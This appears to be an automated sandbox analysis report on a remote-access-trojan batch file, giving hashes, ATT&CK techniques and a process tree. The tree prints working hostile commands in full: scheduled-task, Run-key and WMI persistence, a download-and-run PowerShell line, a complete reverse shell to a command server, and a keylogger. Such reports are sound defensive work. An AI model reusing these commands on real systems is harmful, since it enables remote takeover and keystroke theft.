e7d3e9449e5c7ee3f80ded2841264e0afc5baf7866fc00d3e8e6c7fc48bdbbb6

Analysis

max time kernel
149s
max time network
142s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 22:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
rat_build_63388_014229.bat
Size 4KB
Sample260529-1ws8dsfw8s
SHA256 e7d3e9449e5c7ee3f80ded2841264e0afc5baf7866fc00d3e8e6c7fc48bdbbb6
MD5 b931ae6975b7a6ee805077a9dca99cd1
SHA1 c3a6a64588467c71c456f3758e986b9a9e47668a
SHA512 b37b3c102bd456fa4b4c32d08c6f381476879cbf0d130d23f90071cb6633089fb7cc7ec464042285588f01d1eef9001fc95e8290e656a7eb8e827165c0819aba
SSDEEP 96:DIZGWbOjkSRx2DBJV9VM4TNi6COUgtTlZuZJKG0+Eo/ugHeIiFgZk8mvlo1kf:D6bOjkTT5TkqLZg40V/uCiFgkHlFf
TLSH
T1D0B1091397966120CAF01A1DDA733858576CE5FB1300CA8DFB488EC8594CF87AA6DBD7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_63388.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5080	powershell.exe
3676	powershell.exe
3168	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_63388 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_63388.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
5300	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1188	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
5540	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5644	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5080	powershell.exe
5080	powershell.exe
3676	powershell.exe
3676	powershell.exe
3168	powershell.exe
3168	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4228	WMIC.exe
Token: SeSecurityPrivilege	4228	WMIC.exe
Token: SeTakeOwnershipPrivilege	4228	WMIC.exe
Token: SeLoadDriverPrivilege	4228	WMIC.exe
Token: SeSystemProfilePrivilege	4228	WMIC.exe
Token: SeSystemtimePrivilege	4228	WMIC.exe
Token: SeProfSingleProcessPrivilege	4228	WMIC.exe
Token: SeIncBasePriorityPrivilege	4228	WMIC.exe
Token: SeCreatePagefilePrivilege	4228	WMIC.exe
Token: SeBackupPrivilege	4228	WMIC.exe
Token: SeRestorePrivilege	4228	WMIC.exe
Token: SeShutdownPrivilege	4228	WMIC.exe
Token: SeDebugPrivilege	4228	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4228	WMIC.exe
Token: SeRemoteShutdownPrivilege	4228	WMIC.exe
Token: SeUndockPrivilege	4228	WMIC.exe
Token: SeManageVolumePrivilege	4228	WMIC.exe
Token: 33	4228	WMIC.exe
Token: 34	4228	WMIC.exe
Token: 35	4228	WMIC.exe
Token: 36	4228	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4228	WMIC.exe
Token: SeSecurityPrivilege	4228	WMIC.exe
Token: SeTakeOwnershipPrivilege	4228	WMIC.exe
Token: SeLoadDriverPrivilege	4228	WMIC.exe
Token: SeSystemProfilePrivilege	4228	WMIC.exe
Token: SeSystemtimePrivilege	4228	WMIC.exe
Token: SeProfSingleProcessPrivilege	4228	WMIC.exe
Token: SeIncBasePriorityPrivilege	4228	WMIC.exe
Token: SeCreatePagefilePrivilege	4228	WMIC.exe
Token: SeBackupPrivilege	4228	WMIC.exe
Token: SeRestorePrivilege	4228	WMIC.exe
Token: SeShutdownPrivilege	4228	WMIC.exe
Token: SeDebugPrivilege	4228	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4228	WMIC.exe
Token: SeRemoteShutdownPrivilege	4228	WMIC.exe
Token: SeUndockPrivilege	4228	WMIC.exe
Token: SeManageVolumePrivilege	4228	WMIC.exe
Token: 33	4228	WMIC.exe
Token: 34	4228	WMIC.exe
Token: 35	4228	WMIC.exe
Token: 36	4228	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3144	WMIC.exe
Token: SeSecurityPrivilege	3144	WMIC.exe
Token: SeTakeOwnershipPrivilege	3144	WMIC.exe
Token: SeLoadDriverPrivilege	3144	WMIC.exe
Token: SeSystemProfilePrivilege	3144	WMIC.exe
Token: SeSystemtimePrivilege	3144	WMIC.exe
Token: SeProfSingleProcessPrivilege	3144	WMIC.exe
Token: SeIncBasePriorityPrivilege	3144	WMIC.exe
Token: SeCreatePagefilePrivilege	3144	WMIC.exe
Token: SeBackupPrivilege	3144	WMIC.exe
Token: SeRestorePrivilege	3144	WMIC.exe
Token: SeShutdownPrivilege	3144	WMIC.exe
Token: SeDebugPrivilege	3144	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3144	WMIC.exe
Token: SeRemoteShutdownPrivilege	3144	WMIC.exe
Token: SeUndockPrivilege	3144	WMIC.exe
Token: SeManageVolumePrivilege	3144	WMIC.exe
Token: 33	3144	WMIC.exe
Token: 34	3144	WMIC.exe
Token: 35	3144	WMIC.exe
Token: 36	3144	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3144	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1336 wrote to memory of 5644	1336	cmd.exe	89
PID 1336 wrote to memory of 5540	1336	cmd.exe	90
PID 1336 wrote to memory of 4228	1336	cmd.exe	91
PID 1336 wrote to memory of 3144	1336	cmd.exe	92
PID 1336 wrote to memory of 3340	1336	cmd.exe	93
PID 1336 wrote to memory of 1188	1336	cmd.exe	94
PID 1336 wrote to memory of 5300	1336	cmd.exe	100
PID 1336 wrote to memory of 5080	1336	cmd.exe	101
PID 1336 wrote to memory of 3676	1336	cmd.exe	102
PID 1336 wrote to memory of 3168	1336	cmd.exe	103

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_63388_014229.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1336
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_63388" /tr "C:\Users\Admin\AppData\Local\Temp\_63388.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5644
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_63388" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_63388.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:5540
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_63388", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4228
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_63388", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_63388.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3144
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_63388.txt
  2⤵
  PID:3340
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:1188
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:5300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_63388.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5080
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3168

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 028d5c1c62f8b00b66d8f20889e36e39edf2b1e4f4d58255c489558123a5bf8e
MD5 6ab1ae096d94de5d071208085ebd1bf6
SHA1 77b0945e7797e344a14aa3c8c6d9aca3f662fc7a
SHA512 b7ca6e2e8b48dd32fab9bb6bd2e68a215cd47f68412afa3a2658246aef02478950b7ebde977e6cf5cb217b9251f1fe5aa3c6660036a22963e67d397aad7c312f
TLSH
T1C1117627F39CC921CC96153A409DAC1176B683DB81AEDF9FAFC4D614A07F984CB712A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 20a6a25748351164ef9a33b1b09e4e3b12bc101a3d12891d00669a15b2b25bdf
MD5 3d60e7c9ef409fbfd9e405db511fefc5
SHA1 04e823c0c2bef7c9326bdad006e6e946ceec3e74
SHA512 cf92ca9de6860785cf0c10c4c04452afc64d87cc2a11990f506bec0bc5fe99346fa87e4e9808cd09c3d079232f5400d6fcd57cd976316f36941fc672fe97747c
TLSH
T150115727B39C89A1CC96163A409D9C1172B783D7409EDEDF6BC0D214E1BF584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_hrueac3m.ogu.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hrueac3m.ogu.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/5080-3-0x0000022B6E920000-0x0000022B6E942000-memory.dmp

Download